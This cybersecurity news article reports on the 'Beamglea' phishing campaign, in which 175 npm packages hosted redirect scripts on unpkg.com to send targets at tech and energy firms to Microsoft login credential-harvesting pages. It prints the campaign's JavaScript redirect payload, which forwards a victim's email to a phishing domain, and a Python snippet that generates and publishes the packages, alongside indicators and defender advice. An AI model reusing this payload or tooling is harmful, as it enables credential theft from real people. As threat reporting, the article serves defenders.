Saturday, November 7, 2026

175 Malicious npm Packages Targeting Tech and Energy Firms, 26,000 Downloads

Socket’s Threat Research Team has uncovered a sprawling phishing campaign—dubbed “Beamglea”—leveraging 175 malicious npm packages that have amassed over 26,000 downloads.

These packages serve solely as hosting infrastructure, redirecting victims to credential-harvesting pages.

Though randomly named packages make accidental developer installation unlikely, the download counts reflect security researchers, automated scanners, and CDN providers probing the registry post-disclosure.

Targets include more than 135 industrial, technology, and energy companies across Western Europe, the Nordics, and Asia-Pacific.

Rather than executing code at install time, each malicious package exploits npm’s public registry and unpkg.com’s CDN to host redirect scripts.

After publishing packages named with the pattern redirect-[a-z0-9]{6}, threat actors rely on unpkg.com to automatically serve assets over HTTPS.

Victims receive HTML lures themed as purchase orders or project documents—likely via phishing emails—with embedded <script> tags pointing to URLs such as:

xml<script src="https://unpkg.com/[email protected]/beamglea.js"></script>

When an unwitting recipient opens the HTML file, the JavaScript payload runs:

javascriptfunction processAndRedirect() {
    var email = "[email protected]";
    var urlPath = "https://cfn.jackpotmastersdanske.com/TJImeEKD";
    var finalUrl = urlPath + "#" + email;
    window.location.href = finalUrl;
}
processAndRedirect();

By appending the victim’s email as a URL fragment, the actors ensure that standard server logs do not capture this data.

Microsoft OAuth phishing page with pre-filled victim email at cfn.jackpotmastersdanske[.]com.
Microsoft OAuth phishing page with pre-filled victim email at cfn.jackpotmastersdanske[.]com.

The target’s email is then extracted client-side to pre-fill login forms, increasing the phishing page’s legitimacy.

Automated Phishing Infrastructure

Analysis reveals fully automated tooling written in Python and compiled with PyInstaller to streamline package generation and publication. The core logic uses a template-based approach:

pythondef generate_random_package_name(prefix="redirect-"):
    suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    return prefix + suffix

template_js = load_template('beamglea_template.js')
final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url)
with open("beamglea.js", "w", encoding="utf-8") as f:
    f.write(final_js)

The script authenticates to npm, injects victim-specific data into a JavaScript template, publishes a uniquely named package, and generates the corresponding HTML lure.

Over 630 HTML files were identified across the 175 packages, each embedding a meta tag—nb830r6x—as a campaign identifier.

Threat actor zamaniboss profile.
Threat actor zamaniboss profile.

Threat actors registered seven phishing domains, including cfn.jackpotmastersdanske.com and musicboxcr.com, some using base64-encoded URL parameters to specify campaign variants and session identifiers.

Recommendations for Defenders

Beamglea illustrates how adversaries can weaponize legitimate infrastructure at negligible cost and with high resilience.

Defenders should treat any detection of these IOCs as an active breach. Immediate actions include forcing password resets for potentially compromised accounts and enabling multifactor authentication, especially for Office 365 accounts targeted without MFA (o365_1_nom).

Email gateways must quarantine or strip HTML attachments, given the minimal legitimate use of standalone HTML files.

Network monitoring should flag unpkg.com requests matching redirect-*/beamglea.js patterns and queries to the seven malicious domains.

Endpoint detection rules ought to alert on local HTML files loading unpkg.com scripts, while browser history analysis can reveal navigations with email fragments in URLs.

Long-term mitigations involve restricting public npm registry use for internal assets or implementing allowlists for trusted packages. Web content filters should block unknown CDN references, balancing security against developer workflows.

As this technique evolves—migrating to alternative CDNs, adding domain generation algorithms, or obfuscating payloads—organizations must remain vigilant, continuously updating detection rules and threat intelligence to counter adversaries exploiting open-source infrastructure at scale.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.

Mayura Kathir
Mayura Kathirhttps://gbhackers.com/
Mayura Kathir is a cybersecurity reporter at GBHackers News, covering daily incidents including data breaches, malware attacks, cybercrime, vulnerabilities, zero-day exploits, and more.

Hot this week

How To Access Dark Web Anonymously and know its Secretive and Mysterious Activities

What is Deep Web The deep web, invisible web, or...

How to Build and Run a Security Operations Center (SOC Guide) – 2023

Today’s Cyber security operations center (CSOC) should have everything...

Russian Hackers Bypass EDR to Deliver a Weaponized TeamViewer Component

TeamViewer's popularity and remote access capabilities make it an...

Web Server Penetration Testing Checklist – 2026

Web server pentesting is performed under three significant categories: identity,...

ATM Penetration Testing – Advanced Testing Methods to Find The Vulnerabilities

ATM Penetration testing, Hackers have found different approaches to...

Hackers Exploit WordPress Core RCE Vulnerability in Over 240,000 Attack Attempts

Attackers have launched more than 240,000 exploit attempts against...

Hackers Use Fake GitHub Security Tools to Spread Malware, Infecting Over 2,000 Computers

Threat actors are distributing malware through GitHub repositories masquerading...

Insignary Releases Free Insignary-Chk Tool to Detect PHP2Shell and Node2Shell Exposure

Toronto, Canada, November 6th, 2026, CyberNewswire Free, read-only scanner helps...

Dark Project Ransomware Gang Claims 38 Victims Across 8 Countries, Targeting Healthcare and Manufacturing

Dark Project, an emerging financially motivated ransomware operation, has...

Hackers Use Fake Streaming Apps to Spread Mirax Android Malware and Steal Bank Accounts

Hackers are using streaming app lures to distribute Mirax....

Related Articles

Recent News